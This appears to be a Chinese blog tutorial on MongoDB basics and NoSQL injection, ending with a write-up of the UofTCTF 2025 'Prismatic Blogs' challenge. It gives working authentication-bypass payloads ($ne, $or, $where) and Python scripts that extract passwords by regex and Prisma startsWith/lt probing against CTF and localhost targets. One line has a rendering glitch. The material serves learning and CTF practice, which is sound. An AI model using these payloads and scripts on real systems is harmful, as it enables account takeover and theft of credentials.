文章目录
参考:
csdn对图片有特殊处理机制,导致不能正常显示,感兴趣朋友可以看我博客站
lally.top
什么是NOSQL
nosql数据库,简单的说就是非关系型数据库的sql注入,例如MongoDB数据库
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
{ "_id" : ObjectId("60fa854cf8aaaf4f21049148"), "name" : "whoami", "description" : "the admin user", "age" : 19, "status" : "A", "groups" : [ "admins", "users" ] }
RDBMS | MongoDB |
---|---|
数据库 | 数据库 |
表格 | 集合 |
行 | 文档 |
列 | 字段 |
表联合 | 嵌入文档 |
主键 | 主键(MongoDB 提供了 key 为 _id) |
相关概念
数据库
show dbs
显示所有数据库的列表
db
显示当前数据库对象或集合
文档
文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。
eg.
{"name":"lally", "age":20}
集合
集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。
{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}
MongoDB 基础语法
创建数据库
use DATABASE_NAME
如果数据库不存在,则创建数据库,否则切连接并换到指定数据库
创建集合
db.createCollection(name, options)
eg.
db.createCollection("all_users")
- name:要创建的集合名称
- options:可选参数,指定有关内存大小及索引的选项
插入文档
db.COLLECTION_NAME.insert(document)
eg.
> db.all_users.insert({name: 'whoami',
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
更新文档
- update() 方法
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
eg.
db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})
过 update() 方法来将年龄 所有为 19的 age 更新到 20
- save() 方法
save() 方法通过传入的文档来替换已有文档,_id
主键存在就更新,不存在就插入
db.collection.save(
<document>,
{
writeConcern: <document>
}
)
eg.替换id为60fa854cf8aaaf4f21049148的文档
> db.all_users.save({
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"age" : 21,
})
查询文档
db.collection.find(query, projection)
eg.
db.all_users.find({"age":"20"})
- query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
- projection:可选,使用投影操作符指定返回的键。
如果你需要以易读的方式来读取数据,可以使用 pretty()
方法以格式化的方式来显示所有文档:
操作 | 格式 | 范例 | RDBMS 中的类似语句 |
---|---|---|---|
等于 | {<key>:<value>} | db.love.find({"name":"whoami"}).pretty() | where name = 'whoami' |
小于 | {<key>:{$lt:<value>}} | db.love.find({"age":{$lt:19}}).pretty() | where age < 19 |
小于或等于 | {<key>:{$lte:<value>}} | db.love.find({"age":{$lte:19}}).pretty() | where likes <= 19 |
大于 | {<key>:{$gt:<value>}} | db.love.find({"age":{$gt:19}}).pretty() | where likes > 19 |
大于或等于 | {<key>:{$gte:<value>}} | db.love.find({"age":{$gte:19}}).pretty() | where likes >= 19 |
不等于 | {<key>:{$ne:<value>}} | db.love.find({"age":{$ne:19}}).pretty() | where likes != 19 |
$lte:小于等于(less than and equal)
$gte:大于等于(greater than and equal)
- and条件
MongoDB 中的 find()
方法可以传入多个键值对,每个键值对以逗号隔开,即常规 SQL 的 AND 条件。
-
or条件
db.col.find( { $or: [ {key1: value1}, {key2:value2} ] } ).pretty() eg.查询键 status 值为 A 或键 age 值为 19 的文档 db.all_users.find({$or:[{"status":"A", "age":"19"}]}) eg.where age>19 AND (name='whoami' OR status='A') db.all_users.find({"age":{$gt:19}, $or: [{"name":"whoami"}, {"status":"A"}]})
Nosql注入
攻击者通过构造恶意的输入,改变查询的逻辑。例如,注入类似 MongoDB 的运算符(如 n e 、 ne、 ne、or)或嵌套对象。
示例:假设一个登录 API 查询:
db.users.find({ username: req.body.username, password: req.body.password });
如果攻击者提交以下输入:
{ "username": "admin", "password": { "$ne": null } }
查询会变成:
db.users.find({ username: "admin", password: { $ne: null } });
这将匹配所有 password 不为 null 的用户,绕过密码验证。
PHP 中的 MongoDB 注入
重言式注入
如果对用户输入没有做任何过滤与校验,那么我们可以通过 $ne
关键字构造一个永真的条件就可以完成 NoSQL 注入
username[$ne]=1&password[$ne]=1
URL 查询参数 username[$ne]=1&password[$ne]=1 会被服务器(例如 Express)解析为 JavaScript 对象:
req.query = {
username: { $ne: "1" },
password: { $ne: "1" }
};
联合查询注入
我们都知道,直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入,NoSQL 也有类似问题。
string query = "{ username: '" + $username + "', password: '" + $password + "' }"
当用户正确的用户名密码进行登录时,得到的查询语句是应该这样的:
{'username':'admin', 'password':'123456'}
如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
拼接入查询语句后相当于执行了:
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:
select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 ()
内的条件总是永真的。
但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这用注入方法简单了解一下就好了。
这里解释一下query对象
-
在 Express 应用中,req.query 是 Express 解析 URL 查询字符串(?key=value&key2=value2)后生成的对象。
-
例如,URL:
http://example.com/api/posts?id=11&category=tech
-
req.query 会被解析为:
{ id: "11", category: "tech" }
-
eg.
http://35.239.207.1:3000/api/posts?OR[0][author][password][startsWith]=A
req.query = {
OR: [
{
author: {
password: {
startsWith: "A"
}
}
}
]
};
这里:
- OR 是键,其值是一个 数组([{ … }])。
- 数组的第一个元素是一个对象,包含嵌套的 author 和 password。
分析:
- Query 对象整体是 { OR: […] },不是 JSON 数组,而是包含数组的对象。
- OR[0] 表示数组索引,author 和 password 是嵌套键,startsWith 是查询运算符。
JavaScript 注入
首先我们需要了解一下 $where
操作符。在 MongoDB 中,$where
操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前,通过 $where
操作符使用 map-reduce
、group
命令甚至可以访问到 Mongo Shell 中的全局函数和属性,如 db
,也就是说可以在自定义的函数里获取数据库的所有信息。
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>
由于使用了 $where
关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData
获取查询条件:
db.users.find({ $where: "function(){return(this.username == $userData)}" })
然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000)
,此时 MongoDB 执行的查询语句为:
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })
如果此时服务器有 5 秒钟的延迟则说明注入成功。
- MongoDB 2.4 之前
在 MongoDB 2.4 之前,通过 $where
操作符使用 map-reduce
、group
命令可以访问到 Mongo Shell 中的全局函数和属性,如 db
,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
- MongoDB 2.4 之后
MongoDB 2.4 之后 db
属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:
username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
这是因为发送 payload 进入 PHP 后的数据如下:
array(
'$where' => "
function() {
var username = '1';
var password = '1';return true;var a='1';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
")
布尔盲注
当页面没有回显时,那么我们可以通过 $regex
正则表达式来进行盲注, $regex
可以达到和传统 SQL 注入中 substr()
函数相同的功能。
布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
Nodejs 中的 MongoDB 注入
在处理 MongoDB 查询时,经常会使用 JSON格式将用户提交的数据发送到服务端,如果目标过滤了 $ne
等关键字,我们可以使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}
贴一个盲注爆密码的脚本
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:27409/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
print("[+] %s" % (password + c))
password += c
从一道题中学习nosql注入
题目参考:UofTCTF-2025-Prismatic Blogs
这道题有意思的地方是它是sqlite数据库,但是js的prsima库会将nosql查询语句自动解析为适配sqlite数据库的sql语句
Prisma 的统一 API:
-
Prisma 的 where 条件语法与 MongoDB 类似(支持 AND、startsWith 等),即使底层是 SQLite。
-
攻击者注入的查询(如 startsWith)被 Prisma 转换为 SQLite 的 LIKE,使得攻击行为类似于 NoSQL 注入。
在posts页面可以插入查询语句,且没有任何过滤
app.get(
"/api/posts",
async (req, res) => {
try {
let query = req.query;
query.published = true;
let posts = await prisma.post.findMany({where: query});
res.json({success: true, posts})
} catch (error) {
res.json({ success: false, error });
}
}
);
我们需要做的就是在这里爆出登录密码(用户名都是已知的),接着去login路由登录即可拿到flag
构造一手
AND: [
author: {
password: {
startsWith: abcdefg
}
},
author: {
name: {
equals: Bob
}
}
]
转换为url查询参数,AND[0]表示AND的第一个条件
import requests
import json
s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
cha=''
for i in range(25):
for c in s:
res=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[0][author][password][startsWith]={cha+c}")
if res.json().get('posts'):
cha+=c
print(cha)
这里startsWith是不区分大小写的,所以在爆出密码后再用lt逻辑分出大小写即可,但单一的lt或lte比较不能确定大小写,因为如果前几个字符相等,那么长度短的字符会被认为是更小的。此时就会对我们的if判断产生影响。所以我们采取替换字符避免出现相等误判的现象
我们假设逻辑是
for j in cha:
tmp+=chr(ord(j)+1)
AND[1][author][password][lt]={tmp}
假设比较到字符A
构造密码串 | 真实密码串 | 逻辑 |
---|---|---|
A< | Ab | 相等判定为小于 |
a< | ab | 相等判定为小于 |
A< | ab | 小于 |
a> | Ab | 大于 |
我们采取双重限制条件,首先把构造字符串全部转为大写便于思考
假设构造字符为A,真实字符为x,再加入一个字符B(A+1)
if A<=x and B>x 说明 x=A
if A<x and B<x 说明x=a
这样就可以确定真实密码到底是小写还是大写了
password=''
tmp=''
for j in cha:
tmp=password
j=j.upper()
next=chr(ord(j)+1)
res2=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[1][author][password][gte]={tmp+j}&AND[2][author][password][lt]={tmp+next}")
if res2.json().get('posts'):
password+=j
else:
password+=j.lower()
print(password)
拿到密码后登录即可看到flag